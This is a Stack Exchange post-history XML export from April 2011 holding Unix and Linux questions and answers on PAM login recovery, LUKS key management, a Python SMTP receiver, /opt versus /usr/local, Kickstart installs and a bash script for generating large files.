  <row Id="27995" PostHistoryTypeId="2" PostId="11537" RevisionGUID="a5cf2bb2-00d3-429b-a20e-640e42c6731d" CreationDate="2011-04-17T23:49:40.017" UserId="885" Text="“Module is unknown” sounds like an error from PAM. Given that you can log in but are chucked out immediately, I think that means that your authentication succeeds, but one of the required session modules is missing (disappeared in the upgrade).&#xD;&#xA;&#xD;&#xA;As long as you have physical access to the box, not being able to log in is easily repaired. When you get to a bootloader prompt, select single user mode. You may need to press &lt;kbd&gt;Space&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt; at the right time to get a bootloader prompt. In single user mode, you will boot to a simple password prompt that doesn't use PAM; enter the root password.&#xD;&#xA;&#xD;&#xA;To repair your system, you need to comment out or remove the offending PAM module. I don't know exactly how PAM is organized under SuSE, but the configuration should be either in `/etc/pam.conf` or in `/etc/pam.d/*`, and you're looking for one of the lines that begin with `session`. Once you've found the culprit, run&#xD;&#xA;&#xD;&#xA;    openvt -s login&#xD;&#xA;&#xD;&#xA;and try logging in on the new console. Press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt; to return to the first console. Once you're able to log in, you can switch back to the normal multi-user mode with `init 2` (or whatever your default runlevel is, as indicated by `grep initdefault /etc/inittab`).&#xD;&#xA;&#xD;&#xA;If you don't know which one is the offending PAM module, look in your logs (`/var/log/*`) for clues, or post the PAM configuration here.&#xD;&#xA;" />
  <row Id="27996" PostHistoryTypeId="6" PostId="11536" RevisionGUID="57a59f41-8777-4c7f-ba7a-ea40d06ab5d2" CreationDate="2011-04-17T23:50:12.403" UserId="885" Comment="edited tags" Text="élinuxàéloginàésuseà" />
  <row Id="27997" PostHistoryTypeId="25" PostId="11536" RevisionGUID="2ec932be-92f2-4fba-874b-fce9796a33b7" CreationDate="2011-04-18T00:09:09.530" Comment="http://twitter.com/#!/StackUnix/status/59770404100780033" />
  <row Id="27998" PostHistoryTypeId="5" PostId="11473" RevisionGUID="b973d2dd-2c54-400b-82a7-07d5cfc53fb8" CreationDate="2011-04-18T02:53:17.310" UserId="3389" Comment="minor edits to improve clarity" Text="I'm not aware of a way to change LUKS keys without `cryptsetup`.  I'll edit this if I find a way.  But I think I can help you with everything else.&#xD;&#xA;&#xD;&#xA;I think you need clarity on how encryption fits into the grand scheme of things.&#xD;&#xA;&#xD;&#xA;`dm_crypt`, through the `cryptsetup` userspace utility, works on anything that looks like a block device.  This can be an entire hard drive (i.e. `/dev/sda`), a single partition of that hard drive (i.e. `/dev/sda1`), or VG (volume group, i.e. `/dev/volume_group`).&#xD;&#xA;&#xD;&#xA;A VG will have previously been made a PV (physical volume) by using `pvcreate` on one or more real disk partitions (like `/dev/sda1`).  Then, all of the PVs are junctioned into a VG using `vgcreate`, which then creates a new device representing the VG in `/dev`.  Once you create the VG you need to format it by issuing a command such as `mkfs.ext4 /dev/volume_group`, and then `mount /dev/volume_group` to wherever.  Looking at a plain`mount` command run as root should give you an idea of what is where currently on your system.&#xD;&#xA;&#xD;&#xA;An encrypted volume must be created by passing a block device (doesn't matter whether it's a real disk or a VG) to `cryptsetup luksFormat`.  At that time you can enter a passphrase or specify a keyfile.  Then, to use it, you need to open that block device using `cryptsetup luksOpen` (which prompts you for the previously assigned passphrase, or you can specify a keyfile); this will create another &quot;virtual&quot; block device in `/dev/mapper`, i.e. `/dev/mapper/encrypted`.  This is then what you want to give to tools like `mkfs.ext4`, `fsck`, and `mount` to actually use the encrypted block device.&#xD;&#xA;&#xD;&#xA;Important: Before you do the `cryptsetup luksFormat` you want to overwrite the free space on your disk with random data, either with `dd` or the `badblocks` command.  `luksFormat` doesn't do that and if you don't do that before hand an adversary can possibly tell where you've writen to the disk and where you haven't.&#xD;&#xA;&#xD;&#xA;The point in using a volume group in combination with encryption on a single hard drive is usually to serve the same purpose as disk partitions, but since it's within an encrypted volume, your &quot;partitioning&quot; scheme can't be discovered unless it's unlocked.  So you would take a full disk, create an encrypted volume, and use `pvcreate`, `vgcreate`, and `lvcreate` to create logical volumes which are then mounted as though they were partitions.  (This explains it: http://linuxgazette.net/140/kapil.html)&#xD;&#xA;&#xD;&#xA;Truly unmounting the volume will involve `umount /dev/mapper/encrypted` to disconnect the filesystem and then a `cryptsetup luksClose encrypted` to disconnect the virtual block device.&#xD;&#xA;&#xD;&#xA;`cryptsetup` allows adding (`luksAddKey`) and removing (`luksDelKey`) keys.  I think you can have up to 8 keys on an encrypted volume.  A key is changed by adding a new key and then deleting the old key.&#xD;&#xA;&#xD;&#xA;Specific syntax for all the `cryptsetup` options are here: http://linux.die.net/man/8/cryptsetup&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27999" PostHistoryTypeId="25" PostId="11534" RevisionGUID="6fc832a0-2af2-44c6-a160-7a6f3f70574c" CreationDate="2011-04-18T03:09:09.680" Comment="http://twitter.com/#!/StackUnix/status/59815703703851008" />
  <row Id="28000" PostHistoryTypeId="2" PostId="11538" RevisionGUID="60584755-cb91-47e7-a9f2-354de689f970" CreationDate="2011-04-18T03:54:41.617" UserId="6693" Text="I am a student and learning about operating systems, I was modifing a file using vi, when I accidentaly did something (I don't remember what) that change the codification/encoding and now [this][1] (http://i.imgur.com/XbJdV.jpg) is how I see everything.&#xD;&#xA;&#xD;&#xA;That screenshot is while using vi, but the problem is system wide. I tried searching but couldn't find anything. &#xD;&#xA;&#xD;&#xA;I can delete, everything and reinstall, as it is just a virtual machine but I'd rather learn what happend.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Javier&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/XbJdV.jpg" />
  <row Id="28001" PostHistoryTypeId="1" PostId="11538" RevisionGUID="60584755-cb91-47e7-a9f2-354de689f970" CreationDate="2011-04-18T03:54:41.617" UserId="6693" Text="Strange encoding in Slackware" />
  <row Id="28002" PostHistoryTypeId="3" PostId="11538" RevisionGUID="60584755-cb91-47e7-a9f2-354de689f970" CreationDate="2011-04-18T03:54:41.617" UserId="6693" Text="évirtualömachineàévmwareàéslackwareàéencodingà" />
  <row Id="28003" PostHistoryTypeId="2" PostId="11539" RevisionGUID="adc5ea1a-7180-4e08-bfa5-238ec861979d" CreationDate="2011-04-18T04:36:08.647" UserId="3169" Text="I think all you need to do is run `reset`.&#xD;&#xA;&#xD;&#xA;If that doesn't help, look to see if you changed any files in `/etc` recently (e.g. `find /etc -mtime -1`) and read the `unicode_start` or `consolechars` man pages.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28004" PostHistoryTypeId="2" PostId="11540" RevisionGUID="0523ee22-a81a-4eff-8766-86d94efe66e6" CreationDate="2011-04-18T04:46:41.293" UserId="5589" Text="Yes, provided that the packet is not dropped in `-t raw`." />
  <row Id="28005" PostHistoryTypeId="5" PostId="11533" RevisionGUID="ee65f034-f5f6-4d38-bc86-bc50e12c94cb" CreationDate="2011-04-18T05:39:36.013" UserId="6686" Comment="added 280 characters in body" Text="Hi:&#xD;&#xA;&#xD;&#xA;I know there's software like exim, qmail or others to do this, but I do not want to install big software eating performance in the host.&#xD;&#xA;&#xD;&#xA;What I need is a very simple daemon script receiving all emails of a domain name, and just forward to a script.&#xD;&#xA;&#xD;&#xA;I have the MX record of the domain pointing to the host, now I need some daemon listening on port 25 and answering correctly to the mail standard communications (helo, and that stuff), and then handle the mail to a script.&#xD;&#xA;&#xD;&#xA;Anyone know any solution or have information about this ?&#xD;&#xA;&#xD;&#xA;Thank you in advance&#xD;&#xA;&#xD;&#xA;P.D. the domain.com will JUST be incoming, i don't need that domain to have POP accounts, or send emails ... the domain will just only receive emails in *@domain.com, and I would like all of them to be redirected to a script.&#xD;&#xA;&#xD;&#xA;So it's not about outgoing email, but incoming!" />
  <row Id="28006" PostHistoryTypeId="2" PostId="11541" RevisionGUID="2748963d-6d2a-4dea-b0e5-af59f3e41669" CreationDate="2011-04-18T05:43:13.350" UserId="1946" Text="There're couple of alternatives, e.g: recentf-mode and ido-find-file from [ido][1] package.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.emacswiki.org/emacs/InteractivelyDoThing" />
  <row Id="28007" PostHistoryTypeId="2" PostId="11542" RevisionGUID="bfc5ab4a-4738-4d1a-a885-a90ff7e9f31d" CreationDate="2011-04-18T06:00:21.057" UserId="5495" Text="I want to handle a DRM file format, which adds an encryption wrapper outside of the protected content. Please see the diagram.&#xD;&#xA;&#xD;&#xA;------------------------------&#xD;&#xA;|   DRM wrapper MIME         |&#xD;&#xA;|                            |&#xD;&#xA;| -------------------------- |&#xD;&#xA;| |                        | |&#xD;&#xA;| | Embedded content MIME  | |&#xD;&#xA;| |                        | |&#xD;&#xA;| -------------------------- |&#xD;&#xA;|----------------------------|&#xD;&#xA;&#xD;&#xA;I also write some media applications for it. But every DRM-ware applications can support only a few embedded content MIME types.&#xD;&#xA;For example, a DRM-aware music player can only support DRM-protected or clear songs while a DRM-aware picture viewer can only support protected or clear pictures.&#xD;&#xA;&#xD;&#xA;So how can I write the .desktop entry of such DRM-aware applications?&#xD;&#xA;If I set MIME type to the DRM wrapper MIME type, my music player may be launched to open a DRM-protected picture and fails. &#xD;&#xA;And because the embedded content can be various while the wrapper MIME type is unique, I can expect many such failures.&#xD;&#xA;&#xD;&#xA;Is there any better practice to handle this issue?&#xD;&#xA;Is it feasible to invent new MIME types that mix the wrapper MIME type and the embedded content type? &#xD;&#xA;E.g. audio/mpeg-xx- secured or image/jpeg-xx-secured and using them in the .desktop entry of my DRM-aware applications?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Great thanks!&#xD;&#xA;&#xD;&#xA;Amanda&#xD;&#xA;" />
  <row Id="28008" PostHistoryTypeId="1" PostId="11542" RevisionGUID="bfc5ab4a-4738-4d1a-a885-a90ff7e9f31d" CreationDate="2011-04-18T06:00:21.057" UserId="5495" Text="Desktop Actions and mime types for a DRM file format" />
  <row Id="28009" PostHistoryTypeId="3" PostId="11542" RevisionGUID="bfc5ab4a-4738-4d1a-a885-a90ff7e9f31d" CreationDate="2011-04-18T06:00:21.057" UserId="5495" Text="élinuxàédesktopàémimeötypesàéfreedesktopà" />
  <row Id="28010" PostHistoryTypeId="5" PostId="11542" RevisionGUID="8d5febd9-8a20-4bfd-b33c-1cb732f13cbb" CreationDate="2011-04-18T06:07:29.973" UserId="5495" Comment="deleted 15 characters in body; added 2 characters in body" Text="I want to handle a DRM file format, which adds an encryption wrapper outside of the protected content. Please see the diagram.&#xD;&#xA;&#xD;&#xA;#_____________________________________________&#xD;&#xA;#|   DRM wrapper MIME                       |&#xD;&#xA;#| _________________________________________&#xD;&#xA;#| | Embedded content MIME  | |&#xD;&#xA;#| |________________________________________| | &#xD;&#xA;#|____________________________________________|&#xD;&#xA;&#xD;&#xA;I also write some media applications for it. But every DRM-ware applications can support only a few embedded content MIME types.&#xD;&#xA;For example, a DRM-aware music player can only support DRM-protected or clear songs while a DRM-aware picture viewer can only support protected or clear pictures.&#xD;&#xA;&#xD;&#xA;So how can I write the .desktop entry of such DRM-aware applications?&#xD;&#xA;If I set MIME type to the DRM wrapper MIME type, my music player may be launched to open a DRM-protected picture and fails. &#xD;&#xA;And because the embedded content can be various while the wrapper MIME type is unique, I can expect many such failures.&#xD;&#xA;&#xD;&#xA;Is there any better practice to handle this issue?&#xD;&#xA;&#xD;&#xA;Is it feasible to invent new MIME types that mix the wrapper MIME type and the embedded content type? &#xD;&#xA;E.g. audio/mpeg-xx- secured or image/jpeg-xx-secured and using them in the .desktop entry of my DRM-aware applications?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Great thanks!&#xD;&#xA;&#xD;&#xA;Amanda&#xD;&#xA;" />
  <row Id="28011" PostHistoryTypeId="25" PostId="11538" RevisionGUID="2e307791-2274-4ab2-894e-2a4ff5c1b65a" CreationDate="2011-04-18T06:09:09.703" Comment="http://twitter.com/#!/StackUnix/status/59861002707144704" />
  <row Id="28012" PostHistoryTypeId="2" PostId="11543" RevisionGUID="91fa171c-1067-45fd-926e-07f47e6f4d3f" CreationDate="2011-04-18T06:51:09.313" UserId="4200" Text="The Python standard library include the `smtpd` module which implements the smtp server protocol. You should be able to do what you want with a few lines of python." />
  <row Id="28013" PostHistoryTypeId="5" PostId="11365" RevisionGUID="fa4afbc7-f721-4865-814f-c21967dfd9df" CreationDate="2011-04-18T07:01:27.207" UserId="4293" Comment="deleted 3 characters in body" Text="Take a look here, there's a whole tutorial on how to set it up on Ubuntu (including the download):&#xD;&#xA;&#xD;&#xA;https://help.ubuntu.com/community/EnemyTerritory" />
  <row Id="28014" PostHistoryTypeId="5" PostId="11543" RevisionGUID="1192be93-7b99-40cb-bfcd-479b1260afd0" CreationDate="2011-04-18T07:55:36.497" UserId="4200" Comment="added 543 characters in body" Text="The Python standard library include the `smtpd` module which implements the smtp server protocol. You should be able to do what you want with a few lines of python.&#xD;&#xA;&#xD;&#xA;Here is some sample code to start from:&#xD;&#xA;&#xD;&#xA;    import smtpd&#xD;&#xA;    import asyncore&#xD;&#xA;    &#xD;&#xA;    class CustomSMTPServer(smtpd.SMTPServer):&#xD;&#xA;        &#xD;&#xA;        def process_message(self, peer, mailfrom, rcpttos, data):&#xD;&#xA;            print 'Receiving message from:', peer&#xD;&#xA;            print 'Message addressed from:', mailfrom&#xD;&#xA;            print 'Message addressed to  :', rcpttos&#xD;&#xA;            print 'Message length        :', len(data)&#xD;&#xA;            return&#xD;&#xA;    &#xD;&#xA;    server = CustomSMTPServer(('127.0.0.1', 25), None)&#xD;&#xA;    &#xD;&#xA;    asyncore.loop()&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28015" PostHistoryTypeId="2" PostId="11544" RevisionGUID="6d008dd4-ae29-4666-8cf8-2a6376dc1d5f" CreationDate="2011-04-18T08:08:26.970" UserId="5164" Text="According to the [Filesystem Hierarchy Standard](http://www.pathname.com/fhs/pub/fhs-2.3.html), `/opt` is for &quot;the installation of add-on application software packages&quot;.  `/usr/local` is for &quot;for use by the system administrator when installing software locally&quot;.  These use cases seem pretty similar.  Software not included with distributions usually is configured by default to install in either `/usr/local` or `/opt` with no particular rhyme or reason as to which they chose.&#xD;&#xA;&#xD;&#xA;Is there some difference I'm missing, or do both do the same thing, but exist for historical reasons?" />
  <row Id="28016" PostHistoryTypeId="1" PostId="11544" RevisionGUID="6d008dd4-ae29-4666-8cf8-2a6376dc1d5f" CreationDate="2011-04-18T08:08:26.970" UserId="5164" Text="What is the difference between /opt and /usr/local?" />
  <row Id="28017" PostHistoryTypeId="3" PostId="11544" RevisionGUID="6d008dd4-ae29-4666-8cf8-2a6376dc1d5f" CreationDate="2011-04-18T08:08:26.970" UserId="5164" Text="édirectoryàéfhsà" />
  <row Id="28018" PostHistoryTypeId="2" PostId="11545" RevisionGUID="7258738d-4221-4ae9-a25e-8fda4a26f034" CreationDate="2011-04-18T08:18:31.537" UserId="4200" Text="They are very similar indeed, and the use of one or the other is more a matter of opinion.&#xD;&#xA;Linux journal had this point/counterpoint discussion about this exact topic [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxjournal.com/magazine/pointcounterpoint-opt-vs-usrlocal" />
  <row Id="28019" PostHistoryTypeId="2" PostId="11546" RevisionGUID="53326d15-125f-4c57-8c57-c47b573e0e42" CreationDate="2011-04-18T08:43:03.323" UserId="5589" Text="For me, personally, it's what Bill said in @philfr's link:&#xD;&#xA;&#xD;&#xA;&gt; On a development system, or a sandbox, having an /opt directory where you can just toss things and see if they work makes a whole lot of sense. I know I'm not going to go through the effort of packaging things myself to try them out. If the app doesn't work out, you can simply rm the /opt/mytestapp directory and that application is history. Packaging may make sense when you're running a large deployment (there are times when I do package apps), but lots of times, it's nice to toss stuff in /opt.&#xD;&#xA;&#xD;&#xA;Unfortunately, most `make install` scripts pushes files into `/usr/local` instead of just making a symlink there :-/&#xD;&#xA;" />
  <row Id="28020" PostHistoryTypeId="25" PostId="11544" RevisionGUID="205b5f6a-ef2a-45fb-b0b6-f7992aebf399" CreationDate="2011-04-18T09:09:09.673" Comment="http://twitter.com/#!/StackUnix/status/59906300187914240" />
  <row Id="28021" PostHistoryTypeId="5" PostId="11506" RevisionGUID="b9cbdaed-b725-4ca7-bda6-7a2f5571a11a" CreationDate="2011-04-18T09:12:35.697" UserId="2343" Comment="added 1733 characters in body" Text="I've finally got my idea on how to do this working...  It uses a `tee` |`tee` |`tee` chain, which runs at close to `dd`'s speed.. &#xD;&#xA;&#xD;&#xA;    # ============================================================================&#xD;&#xA;    # repstr&#xD;&#xA;    #&#xD;&#xA;    # Brief:&#xD;&#xA;    #   Make multiple (repeat) copies of a string.&#xD;&#xA;    #   Option -e, --eval is used as in 'echo -e'&#xD;&#xA;    #&#xD;&#xA;    # Return:&#xD;&#xA;    #   The resulting string is sent to stdout&#xD;&#xA;    #&#xD;&#xA;    #   Args:       Option      $1         $2&#xD;&#xA;    #             -e, --eval   COUNT      STRING&#xD;&#xA;    #     repstr             $((2**40))    &quot;x&quot;       # 1 TB:     xxxxxxxxx...&#xD;&#xA;    # eg. repstr  -e            7         &quot;AB\tC\n&quot;  # 7 lines:  AB&lt;TAB&gt;C&#xD;&#xA;    #     repstr                2         &quot;ऑढळ|a&quot;   # 2 copies:  ऑढळ|aऑढळ|a &#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    [[ &quot;$1&quot; == &quot;-e&quot; || &quot;$1&quot; == &quot;--eval&quot; ]] &amp;&amp; { e=&quot;-e&quot;; shift 1; }|| e=&quot;&quot;&#xD;&#xA;     count=&quot;$1&quot;&#xD;&#xA;    string=&quot;$2&quot;&#xD;&#xA;    [[ &quot;${count}&quot; == &quot;&quot;         ]] &amp;&amp; exit 1 # $count must be an integer&#xD;&#xA;    [[ &quot;${count//[0-9]/}&quot; != &quot;&quot; ]] &amp;&amp; exit 2 # $count is not an integer&#xD;&#xA;    [[ &quot;${count}&quot; == &quot;0&quot;        ]] &amp;&amp; exit 0 # nothing to do&#xD;&#xA;    [[ &quot;${string}&quot; == &quot;&quot;        ]] &amp;&amp; exit 0 # nothing to do&#xD;&#xA;    #&#xD;&#xA;    # ========================================================================&#xD;&#xA;    # Find the highest 'power of 2' which, when calculated**, is &lt;= count&#xD;&#xA;    #   ie. check ascending 'powers of 2'&#xD;&#xA;    ((leqXpo=0))  # Exponent which makes 2** &lt;= count &#xD;&#xA;    ((leqCnt=1))  # A count which is &lt;= count&#xD;&#xA;    while ((count&gt;=leqCnt)) ;do&#xD;&#xA;      ((leqXpo+=1))&#xD;&#xA;      ((leqCnt*=2))&#xD;&#xA;    done&#xD;&#xA;    ((leqXpo-=1))&#xD;&#xA;    ((leqCnt/=2))&#xD;&#xA;    #   &#xD;&#xA;    # ======================================================================================&#xD;&#xA;    # Output $string to 'tee's which are daisy-chained in groups of descending 'powers of 2'&#xD;&#xA;    todo=$count&#xD;&#xA;    for ((xpo=leqXpo ;xpo&gt;0 ;xpo--)) ;do&#xD;&#xA;      tchain=&quot;&quot; &#xD;&#xA;      floor=$((2**xpo))&#xD;&#xA;      if ((todo&gt;=(2**xpo))) ; then&#xD;&#xA;        for ((t=0 ;t&lt;xpo ;t++)) ;do tchain=&quot;$tchain|tee -&quot; ;done&#xD;&#xA;        eval echo -n $e \&quot;'$string'\&quot; $tchain # &gt;/dev/null&#xD;&#xA;        ((todo-=floor))&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;    if ((todo==1)) ;then &#xD;&#xA;      eval echo -n $e \&quot;'$string'\&quot; # &gt;/dev/null&#xD;&#xA;    fi&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;Here are some time test results.. I've gone to 32 GB because thats the about the size of a test file I wanted to create (which is what started me off on this issue)   &#xD;&#xA;&#xD;&#xA;    NOTE: (2**30), etc. refers to the number of strings (to achieve a particular GB filesize)&#xD;&#xA;    -----&#xD;&#xA;    dd method (just for reference)                              real/user/sys&#xD;&#xA;    * 8GB                                                       =================================&#xD;&#xA;        if=/dev/zero bs=1024 count=$(((1024**2)*8))         #   2m46.941s / 00m3.828s / 0m56.864s&#xD;&#xA;    &#xD;&#xA;    tee method: fewer tests, because it didn't overflow, and the number-of-strings:time ratio is linear&#xD;&#xA;    tee method:              count        string                real/user/sys  &#xD;&#xA;    * 8GB                    ==========   ============          =================================&#xD;&#xA;      tee(2**33)&gt;stdout      $((2**33))   &quot;x&quot;               #   1m50.605s / 0m01.496s / 0m27.774s&#xD;&#xA;      tee(2**30)&gt;stdout  -e  $((2**30))   &quot;xxx\txxx\n&quot;      #   1m49.055s / 0m01.560s / 0m27.750s&#xD;&#xA;    * 32GB                                                     &#xD;&#xA;      tee(2**35)&gt;stdout  -e  $((2**35))   &quot;x&quot;               #   &#xD;&#xA;      tee(2**32)&gt;stdout  -e  $((2**32))   &quot;xxx\txxx\n&quot;      #   7m34.867s / 0m06.020s / 1m52.459s&#xD;&#xA;    &#xD;&#xA;    python method: '.write'  uses 'file.write()' &#xD;&#xA;                   '&gt;stcout' uses 'sys.stdout.write()'. It handles \n in args (but I know very little python)&#xD;&#xA;                                count   string                   real/user/sys&#xD;&#xA;    * 8GB                       =====   ===================      =================================&#xD;&#xA;      python(2**33)a .write     2**33    &quot;x&quot;                 # OverflowError: repeated string is too long&#xD;&#xA;      python(2**33)a &gt;stdout    2**33    &quot;x&quot;                 # OverflowError: repeated string is too long&#xD;&#xA;      python(2**30)b .write     2**30   '&quot;xxxxxxxX&quot; *2**0'   #   6m52.576s / 6m32.325s / 0m19.701s&#xD;&#xA;      python(2**30)b &gt;stdout    2**30   '&quot;xxxxxxxX&quot; *2**0'   #   8m11.374s / 7m49.101s / 0m19.573s&#xD;&#xA;      python(2**30)c .write     2**20   '&quot;xxxxxxxX&quot; *2**10'  #   2m14.693s / 0m03.464s / 0m22.585s &#xD;&#xA;      python(2**30)c &gt;stdout    2**20   '&quot;xxxxxxxX&quot; *2**10'  #   2m32.114s / 0m03.828s / 0m22.497s&#xD;&#xA;      python(2**30)d .write     2**10   '&quot;xxxxxxxX&quot; *2**20'  #   2m16.495s / 0m00.024s / 0m12.029s&#xD;&#xA;      python(2**30)d &gt;stdout    2**10   '&quot;xxxxxxxX&quot; *2**20'  #   2m24.848s / 0m00.060s / 0m11.925s&#xD;&#xA;      python(2**30)e .write     2**0    '&quot;xxxxxxxX&quot; *2**30'  # OverflowError: repeated string is too long&#xD;&#xA;      python(2**30)e &gt;stdout    2**0    '&quot;xxxxxxxX&quot; *2**30'  # OverflowError: repeated string is too long&#xD;&#xA;    * 32GB&#xD;&#xA;      python(2**32)f.write      2**12   '&quot;xxxxxxxX&quot; *2**20'  #   7m58.608s / 0m00.160s / 0m48.703s&#xD;&#xA;      python(2**32)f&gt;stdout     2**12   '&quot;xxxxxxxX&quot; *2**20'  #   7m14.858s / 0m00.136s / 0m49.087s&#xD;&#xA;&#xD;&#xA;    perl method:&#xD;&#xA;                               count   string                    real      / user       / sys&#xD;&#xA;    * 8GB                      =====   ===================       =================================&#xD;&#xA;      perl(2**33)a .syswrite&gt;  2**33    &quot;a&quot;        x 2**0    # Sloooooow! It would take 24 hours.   I extrapolated after 1 hour.   &#xD;&#xA;      perl(2**33)a &gt;stdout     2**33    &quot;a&quot;        x 2**0    #  31m46.405s / 31m13.925s /  0m22.745s&#xD;&#xA;      perl(2**30)b .syswrite&gt;  2**30    &quot;aaaaaaaA&quot; x 2**0    # 100m41.394s / 11m11.846s / 89m27.175s&#xD;&#xA;      perl(2**30)b &gt;stdout     2**30    &quot;aaaaaaaA&quot; x 2**0    #   4m15.553s /  3m54.615s /  0m19.949s&#xD;&#xA;      perl(2**30)c .syswrite&gt;  2**20    &quot;aaaaaaaA&quot; x 2**10   #   1m47.996s /  0m10.941s /  0m15.017s&#xD;&#xA;      perl(2**30)c &gt;stdout     2**20    &quot;aaaaaaaA&quot; x 2**10   #   1m47.608s /  0m12.237s /  0m23.761s&#xD;&#xA;      perl(2**30)d .syswrite&gt;  2**10    &quot;aaaaaaaA&quot; x 2**20   #   1m52.062s /  0m10.373s /  0m13.253s&#xD;&#xA;      perl(2**30)d &gt;stdout     2**10    &quot;aaaaaaaA&quot; x 2**20   #   1m48.499s /  0m13.361s /  0m22.197s&#xD;&#xA;      perl(2**30)e .syswrite&gt;  2**0     &quot;aaaaaaaA&quot; x 2**30   # Out of memory during string extend at -e line 1.   &#xD;&#xA;      perl(2**30)e &gt;stdout     2**0     &quot;aaaaaaaA&quot; x 2**30   # Out of memory during string extend at -e line 1.   &#xD;&#xA;    * 32GB&#xD;&#xA;      perl(2**32)f .syswrite&gt;  2**12    &quot;aaaaaaaA&quot; x 2**20   #   7m34.241s /  0m41.447s / 0m51.727s&#xD;&#xA;      perl(2**32)f &gt;stdout     2**12    &quot;aaaaaaaA&quot; x 2**20   #  10m58.444s /  0m53.771s / 1m28.498s&#xD;&#xA;      &#xD;&#xA;&#xD;&#xA;" />
  <row Id="28022" PostHistoryTypeId="4" PostId="11526" RevisionGUID="972094a3-41e0-42b0-aca9-9eff73e51366" CreationDate="2011-04-18T09:14:10.893" UserId="6635" Comment="The subject was misleading. I was expecting he is asking the format of &quot;--input-file&quot;" Text="How to tell wget where to fetch the files which are passed from '--input-file' argument" />
  <row Id="28023" PostHistoryTypeId="24" PostId="11526" RevisionGUID="972094a3-41e0-42b0-aca9-9eff73e51366" CreationDate="2011-04-18T09:14:10.893" Comment="Proposed by 6635 approved by -1 edit id of 281" />
  <row Id="28024" PostHistoryTypeId="4" PostId="11526" RevisionGUID="d4f795f2-085f-45c8-aabb-a90015607356" CreationDate="2011-04-18T09:14:11.270" UserId="885" Comment="edited title" Text="How to tell wget where to fetch files passed via '--input-file'" />
  <row Id="28025" PostHistoryTypeId="2" PostId="11547" RevisionGUID="7b43ccb1-ddf4-40d5-9480-0d03f4476993" CreationDate="2011-04-18T09:32:56.983" UserId="2671" Text="The basic difference is that `/usr/local` is for software not managed by the system packager, but still following the standard unix deployment rules.&#xD;&#xA;&#xD;&#xA;That's why you have `/usr/local/bin`, `/usr/local/sbin` `/usr/local/include` etc...&#xD;&#xA;&#xD;&#xA;`/opt` on the other hand is for software that doesn't follow this and is deployed in a monolithic fashion. This usually includes commercial and/or cross-platform software that is packaged in the &quot;Windows&quot; style." />
  <row Id="28026" PostHistoryTypeId="2" PostId="11548" RevisionGUID="9fbaaf32-68bf-4e36-ad31-0811305cfb28" CreationDate="2011-04-18T10:06:20.977" UserId="5164" Text="You could use something like [Kickstart](http://fedoraproject.org/wiki/Anaconda/Kickstart), which is a feature of the `anaconda` installer of Fedora, CentOS, RHEL, and derived distributions that lets you completely customize an installation to your liking.  You can choose which packages you want to install, the partition layout, network configuration, package repositories, root password, and much more.  You can also create pre and post-installation scripts that do whatever else you might want.  You can run the install fully automated, or pick and choose what you'd like it to prompt for.  All settings are defined in one simple (not XML) text file, which you can make by hand or with the graphical `system-config-kickstart` tool.&#xD;&#xA;&#xD;&#xA;Once you've got that put together, you can roll your own custom CD if you like, or set a network location in your kickstart file, which can be a local or Internet mirror, via FTP, HTTP, or NFS.  Your kickstart file can also be on the network, so you can just burn one stub install disc to bootstrap the installation (or use vanilla install media) and have it use as many different configurations as you can stand.  You can even network boot it, eliminating removable media altogether.&#xD;&#xA;&#xD;&#xA;The network options or custom spun media eliminate you from needing the &quot;huge package repository&quot;, yet it will still be there if you decide you want to add something.  But, if you want to go whole hog, you can [build your own repository](http://yum.baseurl.org/wiki/RepoCreate), cherry-picking RPMS from upstream, customizing SRPMS to your liking, [rolling your own](http://rpm.org/wiki/Docs#PackagerDocumentation, or even hacking a `make &amp;&amp; make install` or `tar -jxf` into the post-install script.&#xD;&#xA;&#xD;&#xA;Many distributions have similar functionality, some of which also understand Kickstart files even if they don't implement their entire feature set (like Debian)." />
  <row Id="28027" PostHistoryTypeId="2" PostId="11549" RevisionGUID="eb99edc3-5a92-4677-a6fc-47c73790dda3" CreationDate="2011-04-18T09:58:16.257" UserDisplayName="chris" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm using the Debian Squeeze OpenLDAP. Where can I set ACLs? Isn't it possible to execute the access to directives with ldapmodify? There's no slapd.conf file in Debian. They use an slapd.d folder ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'd really appreciate any help!!!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Chris" />
  <row Id="28028" PostHistoryTypeId="1" PostId="11549" RevisionGUID="eb99edc3-5a92-4677-a6fc-47c73790dda3" CreationDate="2011-04-18T09:58:16.257" UserDisplayName="chris" Text="Howto set access control lists ACLs in OpenLDAP" />
  <row Id="28029" PostHistoryTypeId="3" PostId="11549" RevisionGUID="eb99edc3-5a92-4677-a6fc-47c73790dda3" CreationDate="2011-04-18T09:58:16.257" UserDisplayName="chris" Text="éldapàédebianà" />
  <row Id="28030" PostHistoryTypeId="17" PostId="11549" RevisionGUID="27d1d8d2-f9bd-4cbf-ad22-59c4bb135a5b" CreationDate="2011-04-18T10:28:44.577" UserId="-1" Comment="from http://stackoverflow.com/questions/5701212/howto-set-access-control-lists-acls-in-openldap" Text="" />
  <row Id="28031" PostHistoryTypeId="2" PostId="11550" RevisionGUID="ac8c11cc-acdb-4502-969e-edac839606b3" CreationDate="2011-04-18T10:37:38.293" UserId="688" Text="If I follow a process [I mentioned here][1], I am supposed to log out and then in for the changes to take place. What about Nautilus? I tried to restart it and was still unsuccessful. The only way I have so far found that works is logging out of the desktop and then in again. That's not always convenient of course.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/6387/688" />
